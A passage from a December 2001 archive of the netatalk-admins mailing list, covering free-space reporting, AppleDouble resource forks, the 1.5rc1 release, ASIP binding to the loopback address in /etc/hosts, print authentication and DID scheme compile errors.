	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA20261
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Dec 2001 12:08:40 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA01759
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Dec 2001 12:08:40 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA01743
	for netatalk.administrators-members@umich.edu; Fri, 14 Dec 2001 12:08:40 -0500 (EST)
Received: from dogbert.znet.com (dogbert.znet.com [207.167.79.7])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA01712
	for <netatalk-admins@umich.edu>; Fri, 14 Dec 2001 12:08:38 -0500 (EST)
Received: from linux.hq.znet.com (linux.hq.znet.com [207.167.79.25])
	by dogbert.znet.com (8.12.1/8.12.1/jjb-dogbert) with ESMTP id fBEH8F4K021367;
	Fri, 14 Dec 2001 09:08:15 -0800 (PST)
X-Envelope-From: lelliott@znet.com
Received: (from lelliott@localhost)
	by linux.hq.znet.com (8.11.6/8.11.6) id fBEH88J12284;
	Fri, 14 Dec 2001 09:08:08 -0800
Date: Fri, 14 Dec 2001 09:08:08 -0800
From: Lauren Elliott <lelliott@znet.com>
To: netatalk-admins@umich.edu
Subject: [Follow-up] Re: Free space calculation problems in netatalk-1.5pre8
Message-ID: <20011214090808.B12209@znet.com>
References: <20011203134535.A7316@znet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011203134535.A7316@znet.com>; from lelliott on Mon, Dec 03, 2001 at 01:45:35PM -0800
X-Operating-System: GNU/Linux 2.4.5
X-Uptime: 8:43am  up 197 days, 21:58,  6 users,  load average: 0.47, 0.19, 0.17
X-Discordian-Date: Pungenday, Aftermath 56 YOLD 3167

Hi folks, 

Just as a follow up for the archives and in case anyone else is having
this problem, I was able to get correct free space reporting of the
netatalk share on the Mac side after implementing a suggested hack from
Joe Clarke (to define NO_LARGE_VOL_SUPPORT in config.h, and recompile).

Cheers,

On Mon, Dec 03, 2001 at 01:45:35PM -0800, Lauren Elliott typed:
> Greetings netatalkers,
> 
> Our setup:
> 
> --Server running SunOS 5.8 (Sparc, ufs filesystem), Netatalk version
> 1.5pre8
> --Client macs running mix of OS 9.0 and 9.2
> 
> Accessing the netatalk share (/var/fileserver on the Sun machine) works
> great, but the Macs incorrectly report no space free on the device, (and
> Mac OS reports that "An additional 214,000,000 GB must be thrown away"
> when attempting to copy over a file to the share from the Mac Finder).
> 
> The partition the shared directory is on has plenty of space free, 
> 
> lelliott$ df -k
> Filesystem            kbytes    used   avail capacity  Mounted on
> 
> ...
> 
> /dev/dsk/c1t0d0s0    8749829 4520502 4141829    53%    /var

<SNIP>

-- 
Lauren Elliott
zNET Internet Services
800-438-9638
http://www.znet.com

From netatalk.administrators-errors@umich.edu  Fri Dec 14 14:51:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA27579
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Dec 2001 14:51:48 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA25178
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Dec 2001 14:51:47 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA25151
	for netatalk.administrators-members@umich.edu; Fri, 14 Dec 2001 14:51:46 -0500 (EST)
Received: from gateway120. (130.muac.chcg.cgcil01r18.dsl.att.net [12.102.178.130])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id OAA25097
	for <netatalk-admins@umich.edu>; Fri, 14 Dec 2001 14:51:45 -0500 (EST)
Received: from kidgloves [192.168.1.69] by gateway120.
  (SMTPD32-4.03) id A948941D03B2; Fri, 14 Dec 2001 13:55:52 CDT
Reply-To: <spencer@invisiblestreams.com>
From: "Spencer Hedeen" <spencer@invisiblestreams.com>
To: <netatalk-admins@umich.edu>
Subject: AppleDouble
Date: Fri, 14 Dec 2001 13:53:52 -0600
Message-ID: <FFEFKCJLLPOLIMADJPKFAEBFCLAA.spencer@invisiblestreams.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0004_01C184A6.C3CF12D0"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

This is a multi-part message in MIME format.

------=_NextPart_000_0004_01C184A6.C3CF12D0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Can anyone point me to the source where Netatalk takes the mac file and
splits out the resource fork into the AppleDouble folder?

What I need to do is take a mac .zip (no binhex or hqx), unzipp it on a
linux box, then programmatically create split the file placing the resource
data in the AppleDouble file so it can be served to macs through netatalk.

Any ideas?

Thanks!
Spencer Hedeen

------=_NextPart_000_0004_01C184A6.C3CF12D0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D518495119-14122001><FONT face=3DArial size=3D2>Can =
anyone point me=20
to the source where Netatalk takes the mac file and splits out the =
resource fork=20
into the AppleDouble folder?</FONT></SPAN></DIV>
<DIV><SPAN class=3D518495119-14122001><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D518495119-14122001><FONT face=3DArial size=3D2>What I =
need to do is=20
take a mac .zip (no binhex or hqx), unzipp it on a linux box, then=20
programmatically create split the file placing the resource data in the=20
AppleDouble file so it can be served to macs through=20
netatalk.</FONT></SPAN></DIV>
<DIV><SPAN class=3D518495119-14122001><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D518495119-14122001><FONT face=3DArial size=3D2>Any=20
ideas?</FONT></SPAN></DIV>
<DIV><SPAN class=3D518495119-14122001><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D518495119-14122001><FONT face=3DArial=20
size=3D2>Thanks!</FONT></SPAN></DIV>
<DIV><SPAN class=3D518495119-14122001><FONT face=3DArial =
size=3D2>Spencer=20
Hedeen</FONT></SPAN></DIV></BODY></HTML>

------=_NextPart_000_0004_01C184A6.C3CF12D0--



From netatalk.administrators-errors@umich.edu  Sat Dec 15 08:05:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA14813
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 15 Dec 2001 08:05:15 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA25933
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 15 Dec 2001 08:05:14 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA25912
	for netatalk.administrators-members@umich.edu; Sat, 15 Dec 2001 08:05:14 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA25567
	for <netatalk-admins@umich.edu>; Sat, 15 Dec 2001 08:05:04 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.plusline.in-berlin.de [213.83.10.6])
	by gnu.in-berlin.de (8.12.1/8.12.1) with ESMTP id fBFD52X9002954
	for <netatalk-admins@umich.edu>; Sat, 15 Dec 2001 14:05:02 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: <netatalk-admins@umich.edu>
Received: from hirsch.in-berlin.de (uucp@localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id fBFD520l006266
	for <netatalk-admins@umich.edu>; Sat, 15 Dec 2001 14:05:02 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id fBFD51u1006258
	for netatalk-admins@umich.edu; Sat, 15 Dec 2001 14:05:01 +0100
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 16FETN-0003pf-00; Sat, 15 Dec 2001 14:03:25 +0100
Date: Sat, 15 Dec 2001 14:03:24 +0100
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Netatalk 1.5 Release Candidate 1 released
Message-ID: <20011215140324.A14700@jroger.in-berlin.de>
Mail-Followup-To: netatalk-devel@lists.sourceforge.net,
	netatalk-admins@umich.edu
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

I have now released the first release candidate for Netatalk 1.5
(1.5rc1). It is available from http://me.in-berlin.de/~jroger/netatalk/
Please try this out and report all problems to
netatalk-devel@lists.sourceforge.net.

Jeff, if you are reading this, could you upload this RC to SourceForge?

For all committers: the stabilizing branch is now frozen. Please commit
to it only after sending a patch to netatalk-devel and with consent of the
list.

Regards,

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sun Dec 16 12:47:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA16251
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 16 Dec 2001 12:46:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA14712
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 16 Dec 2001 12:46:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA14701
	for netatalk.administrators-members@umich.edu; Sun, 16 Dec 2001 12:46:59 -0500 (EST)
Received: from hermit.white-mountain.org (adsl-63-204-195-98.dsl.snfc21.pacbell.net [63.204.195.98])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA14659
	for <netatalk-admins@umich.edu>; Sun, 16 Dec 2001 12:46:58 -0500 (EST)
Received: from white-mountain.org (merlin.dhcp.white-mountain.org [192.168.0.140])
	by hermit.white-mountain.org (Postfix) with ESMTP id 3277B4437
	for <netatalk-admins@umich.edu>; Sun, 16 Dec 2001 09:46:57 -0800 (PST)
Message-ID: <3C1CDEBF.DC9A296B@white-mountain.org>
Date: Sun, 16 Dec 2001 09:49:51 -0800
From: Jamie Flournoy <jamie@white-mountain.org>
X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Netatalk Admins <netatalk-admins@umich.edu>
Subject: Re: Apple Share of IP
References: <8B4EB63B99E19B4C953EECC8C223AD3A2D745F@ksvcmail.ksvc.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

At some point, someone said that for ASIP to work, you should see a line
in the log that looks like this:

  afpd[2872]: ASIP started on 127.0.0.1:548(1) (1.5cnid)

except the 127.0.0.1 indicated it was using the loopback interface.

The line above is what mine says and ASIP works - at least, I can telnet
to port 548 on that machine from elsewhere, and I can connect using a
MacOS 9 client by typing the IP address into the Chooser.

Since you're running Red Hat, but I don't think you said which version,
maybe you're getting nailed by the same problem that puzzled me with
SAMBA yesterday as I was getting that set up on a brand-spanking-new Red
Hat 7.2 box... the built-in firewall functionality. Yeah, OK, so I *was*
the one who enabled it during installation, but I forgot about it
because I'm used to RH 6.2 with a firewall I created, so I didn't think
of it when troubleshooting until I had already hacked my smb.conf to
bits :)

Anyway, the moral of the story is, if you can telnet to port 548 and if
you can get to the server by typing the IP address in the Chooser, I
think that proves it works regardless of whether the log entries show
your eth0 IP address.


Brian Curtis wrote:

> I can see the server through the chooser and I can load the shared
> point ok.  It just uses AppleTalk and I want it to go through ASIP.I
> entered eth0 into atalkd.confIt now sayseth0 -phase 2 -net 0-65534 -
> addr 65280.153


From netatalk.administrators-errors@umich.edu  Sun Dec 16 13:42:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA18422
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 16 Dec 2001 13:42:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA25657
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 16 Dec 2001 13:42:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA25642
	for netatalk.administrators-members@umich.edu; Sun, 16 Dec 2001 13:42:52 -0500 (EST)
Received: from mail7.carolina.rr.com (fe7.southeast.rr.com [24.93.67.54])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA25611
	for <netatalk-admins@umich.edu>; Sun, 16 Dec 2001 13:42:51 -0500 (EST)
Received: from link6 ([24.93.92.117]) by mail7.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Sun, 16 Dec 2001 13:42:50 -0500
Content-Type: text/plain;
  charset="iso-8859-1"
From: gmac63 <gmac63@carolina.rr.com>
Reply-To: gmac63@carolina.rr.com
To: netatalk-admins@umich.edu
Subject: Re: Apple Share of IP
Date: Sun, 16 Dec 2001 13:44:17 -0500
X-Mailer: KMail [version 1.2]
References: <8B4EB63B99E19B4C953EECC8C223AD3A2D745F@ksvcmail.ksvc.com> <3C1CDEBF.DC9A296B@white-mountain.org>
In-Reply-To: <3C1CDEBF.DC9A296B@white-mountain.org>
MIME-Version: 1.0
Message-Id: <01121613441700.00982@link6>
Content-Transfer-Encoding: 8bit

On Sunday 16 December 2001 12:49 pm, Jamie Flournoy wrote:
> At some point, someone said that for ASIP to work, you should see a line
> in the log that looks like this:
>
>   afpd[2872]: ASIP started on 127.0.0.1:548(1) (1.5cnid)
>
> except the 127.0.0.1 indicated it was using the loopback interface.
>
> The line above is what mine says and ASIP works - at least, I can telnet
> to port 548 on that machine from elsewhere, and I can connect using a
> MacOS 9 client by typing the IP address into the Chooser.
>
> Since you're running Red Hat, but I don't think you said which version,
> maybe you're getting nailed by the same problem that puzzled me with
> SAMBA yesterday as I was getting that set up on a brand-spanking-new Red
> Hat 7.2 box... the built-in firewall functionality. Yeah, OK, so I *was*
> the one who enabled it during installation, but I forgot about it
> because I'm used to RH 6.2 with a firewall I created, so I didn't think
> of it when troubleshooting until I had already hacked my smb.conf to
> bits :)
>
> Anyway, the moral of the story is, if you can telnet to port 548 and if
> you can get to the server by typing the IP address in the Chooser, I
> think that proves it works regardless of whether the log entries show
> your eth0 IP address.
>
> Brian Curtis wrote:
> > I can see the server through the chooser and I can load the shared
> > point ok.  It just uses AppleTalk and I want it to go through ASIP.I
> > entered eth0 into atalkd.confIt now sayseth0 -phase 2 -net 0-65534 -
> > addr 65280.153

There is a technical reason for not having your loopback address as the first 
entry in /etc/hosts (I for the life of me can't remember), but its a real 
issue. As for Brian, it should have worked in his favour.

Moral to the story: if it works, it works.

-Wes Yates

From netatalk.administrators-errors@umich.edu  Sun Dec 16 15:47:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA22961
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 16 Dec 2001 15:47:21 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA21031
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 16 Dec 2001 15:47:21 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA21026
	for netatalk.administrators-members@umich.edu; Sun, 16 Dec 2001 15:47:21 -0500 (EST)
Received: from mail.ls.huji.ac.il (mail.ls.huji.ac.il [132.64.62.13])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id PAA21010
	for <netatalk-admins@umich.edu>; Sun, 16 Dec 2001 15:47:19 -0500 (EST)
Received: (qmail 253067 invoked from network); 16 Dec 2001 20:47:10 -0000
Received: from di8-166.dialin.huji.ac.il (HELO localhost) (132.64.10.166)
  by mail.ls.huji.ac.il with SMTP; 16 Dec 2001 20:47:10 -0000
Date: Sun, 16 Dec 2001 22:47:39 +0200
Mime-Version: 1.0 (Apple Message framework v475)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Subject: print authentication
From: Michael Green <michaelg@leonardo.ls.huji.ac.il>
To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 7bit
Message-Id: <24A9468C-F266-11D5-B776-003065861920@leonardo.ls.huji.ac.il>
X-Mailer: Apple Mail (2.475)

Hello netatalkers!

I hope you wouldn't mind a simple question from a newbie:

I'm looking in netatalk for a certain feature found in ASIP:
If I setup ASIP to be printer server, setup printing queues, users, and 
then when a user print to the queue, ASIP can throw in a window 
requesting user/pass from the user, then checking the login info against 
its user database and then logging the job. Essentially it provides not 
only the accounting information for that particular printer, but also it 
controls  access to the resource (printer).

Is it possible to configure natatalk to do the same?

Cheers,
Michael


From netatalk.administrators-errors@umich.edu  Sun Dec 16 16:38:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA24283
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 16 Dec 2001 16:38:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA15993
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 16 Dec 2001 16:38:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA15971
	for netatalk.administrators-members@umich.edu; Sun, 16 Dec 2001 16:38:31 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA15929
	for <netatalk-admins@umich.edu>; Sun, 16 Dec 2001 16:38:29 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id WAA11608;
	Sun, 16 Dec 2001 22:12:11 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Sun, 16 Dec 2001 21:49:46 +0100
Subject: Re: Apple Share of IP
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Jamie Flournoy <jamie@white-mountain.org>
CC: <netatalk-admins@umich.edu>
Message-ID: <B842C779.16321%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C1CDEBF.DC9A296B@white-mountain.org>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Sun, 16 Dec 2001 09:49:51 -0800, Jamie Flournoy wrote:

> At some point, someone said that for ASIP to work, you should see a line
> in the log that looks like this:
> 
> afpd[2872]: ASIP started on 127.0.0.1:548(1) (1.5cnid)

This means that your Netatalk server will answer FPGetSrvrInfo requests with
this address as a legal way to connect to it.

When you open your chooser and your netatalk servers appears, all
communication is AppleTalk (NBP --> Name Binding Protocol). If you
doubleclick your server, a short ASP session will be opened to get
information from the server (FPGetSrvrInfo request). The server will supply
a list of possible connection methods: each entry with type, address and --
ASIP only -- probably the port too.

If your syslog reports for example:

Dec 16 16:37:25 notebook-tk afpd[7716]: datenschleuder:AFPServer@* started
    on 65280.59:128 (1.5rc1)
Dec 16 16:37:25 notebook-tk afpd[7716]: ASIP started on 127.0.0.1:548(1)
    (1.5rc1)

that means that your server will supply the following two alternatives:

- AFPoverAppleTalk on AppleTalk address 65280.59
- AFPoverTCP on IP address 127.0.0.1, Port 548

as an answer to the client's FPGetSrvrInfo request. And this is important if
you want to use the automagically switch between AppleTalk (for service
location --> looking up the server via NBP in the chooser) and TCP/IP for
the connection itself (recent AppleShare clients prefer AFPoverTCP and will
try to connect to the IP address supplied by the server)

(again: <http://www.umich.edu/~rsug/netatalk/archive/admins/2001/0016.html>)

> except the 127.0.0.1 indicated it was using the loopback interface.

If you use MacOS < 10.1.x then the mac will try to connect to 127.0.0.1 (or
himself ;-). As no server answers, the AppleShare client will do a fallback
to AppleTalk and try to reach the server via AppleTalk on 65280.59. If that
works, the connection itself will be established via AppleTalk (even if the
server can handle AFPoverTCP!).

With MacOS 10.1.x the situation is different. A built-in mechanism prevents
the AFP-client from trying 127.0.0.1 (loopback). The mac will only report
"This server is hosted on this local machine. Please browse the files and
folders locally" and won't try the fallback to AppleTalk.

I hope, you understand why it is important, which IP address your netatalk
box will publish itself on...

> The line above is what mine says and ASIP works - at least, I can telnet
> to port 548 on that machine from elsewhere,

You can reach port 548 on every address TCP/IP, your setup allows (so if
your box is a multihomed one with 20 IP addresses then you can connect to
each one of them on the appropriate ports -- note: you can set up different
servers listening on different IP addresses and ports in afpd.conf).

> and I can connect using a MacOS 9 client by typing the IP address into the
> Chooser.

Uhh... Why typing IP addresses if live can be so easy? Set up your server
correctly and let your users just open the chooser and double click the
server, the connection itself will be made over AFPoverTCP... if it is the
right one, the server supplies (aka not 127.0.0.1 ;-)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Sun Dec 16 20:29:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA03263
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 16 Dec 2001 20:29:14 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA04605
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 16 Dec 2001 20:29:14 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA04603
	for netatalk.administrators-members@umich.edu; Sun, 16 Dec 2001 20:29:13 -0500 (EST)
Received: from hermit.white-mountain.org (adsl-63-204-195-98.dsl.snfc21.pacbell.net [63.204.195.98])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA04599
	for <netatalk-admins@umich.edu>; Sun, 16 Dec 2001 20:29:12 -0500 (EST)
Received: from white-mountain.org (sephiroth.dhcp.white-mountain.org [192.168.0.131])
	by hermit.white-mountain.org (Postfix) with ESMTP id B772E4437
	for <netatalk-admins@umich.edu>; Sun, 16 Dec 2001 17:29:11 -0800 (PST)
Message-ID: <3C1D4A64.CA06C7BA@white-mountain.org>
Date: Sun, 16 Dec 2001 17:29:07 -0800
From: Jamie Flournoy <jamie@white-mountain.org>
X-Mailer: Mozilla 4.77 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Apple Share of IP
References: <B842C779.16321%Thomas.Kaiser@phg-online.de>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit

Aha, very interesting... I knew the bit about the automagic DDP->TCP/IP
preference on the client side but I didn't realize that the list of addresses
which was returned would *only* include the first IP address...

When I did it by selecting the name from the list box, I got:

afpd[1722]: ASIP started on 127.0.0.1:548(1) (1.5cnid)
...
afpd[1772]: session from 65280.128:250 on 65280.95:129

Doh! DDP... but now that I've fixed my /etc/hosts, it looks like this, even
when picking the server name from the list:

afpd[18992]: ASIP started on 192.168.0.11:548(1) (1.5cnid)
...
afpd[19027]: ASIP session:548(1) from 192.168.0.131:49159(2)

Thanks for the correction.

Thomas Kaiser wrote:

> If your syslog reports for example:
>
> Dec 16 16:37:25 notebook-tk afpd[7716]: datenschleuder:AFPServer@* started
>     on 65280.59:128 (1.5rc1)
> Dec 16 16:37:25 notebook-tk afpd[7716]: ASIP started on 127.0.0.1:548(1)
>     (1.5rc1)
>
> that means that your server will supply the following two alternatives:
>
> - AFPoverAppleTalk on AppleTalk address 65280.59
> - AFPoverTCP on IP address 127.0.0.1, Port 548
>


From netatalk.administrators-errors@umich.edu  Mon Dec 17 09:09:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA03634
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 17 Dec 2001 09:09:32 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA16696
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 17 Dec 2001 09:09:32 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA16683
	for netatalk.administrators-members@umich.edu; Mon, 17 Dec 2001 09:09:31 -0500 (EST)
Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA16643
	for <netatalk-admins@umich.edu>; Mon, 17 Dec 2001 09:09:30 -0500 (EST)
Received: from fwd02.sul.t-online.de 
	by mailout06.sul.t-online.de with smtp 
	id 16FySP-0006uo-01; Mon, 17 Dec 2001 15:09:29 +0100
Received: from hasi.coffee.ac (520007682752-0001@[217.82.193.153]) by fmrl02.sul.t-online.com
	with esmtp id 16FySF-2BYHkuC; Mon, 17 Dec 2001 15:09:19 +0100
Received: (from colin@localhost)
	by hasi.coffee.ac (8.9.3/8.9.3) id PAA01431
	for netatalk-admins@umich.edu; Mon, 17 Dec 2001 15:11:44 +0100
Date: Mon, 17 Dec 2001 15:11:44 +0100
From: Colin Tueck <colin@tueck.de>
To: netatalk-admins@umich.edu
Subject: DID shemes
Message-ID: <20011217151144.A1418@hasi.coffee.ac>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.2.5i
X-OS-Version: Linux 2.4.16 i686
X-Mailer: Mutt 1.2.5i (2000-07-28)
X-Uptime: 3:07pm  up  4:58,  1 user,  load average: 0.00, 0.00, 0.00
X-Sender: 520007682752-0001@t-dialin.net

Hi all,

I'm thinking about which DID-sheme to use is the best choice for us.
I heard that using the CNID-db may conflict with accessing the same
data with ASIP and Samba. I thought about using the mtab choice, since
I don't expect our partitions being that big that we'll get problems
with the size of the IDs.

Well, so I just tried to compile with '--with-did=mtab' and get the
error that the files 'afs/venus.h' and 'afs/afsint.h' are missing.
Any ideas?

Bye,
Colin
-- 
| Colin Tück            | Lothringerstr. 101 | Benzstr. 1       |
| Handy:   0173/9896010 | 52070 Aachen       | 47574 Goch       |
| Mail:  colin@tueck.de | Fon: 0241/4003872  | Fon: 02823/95305 |

From netatalk.administrators-errors@umich.edu  Mon Dec 17 11:19:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA19768
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 17 Dec 2001 11:19:39 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA27798
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 17 Dec 2001 11:19:39 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA27787
	for netatalk.administrators-members@umich.edu; Mon, 17 Dec 2001 11:19:38 -0500 (EST)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA27756
	for <netatalk-admins@umich.edu>; Mon, 17 Dec 2001 11:19:37 -0500 (EST)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
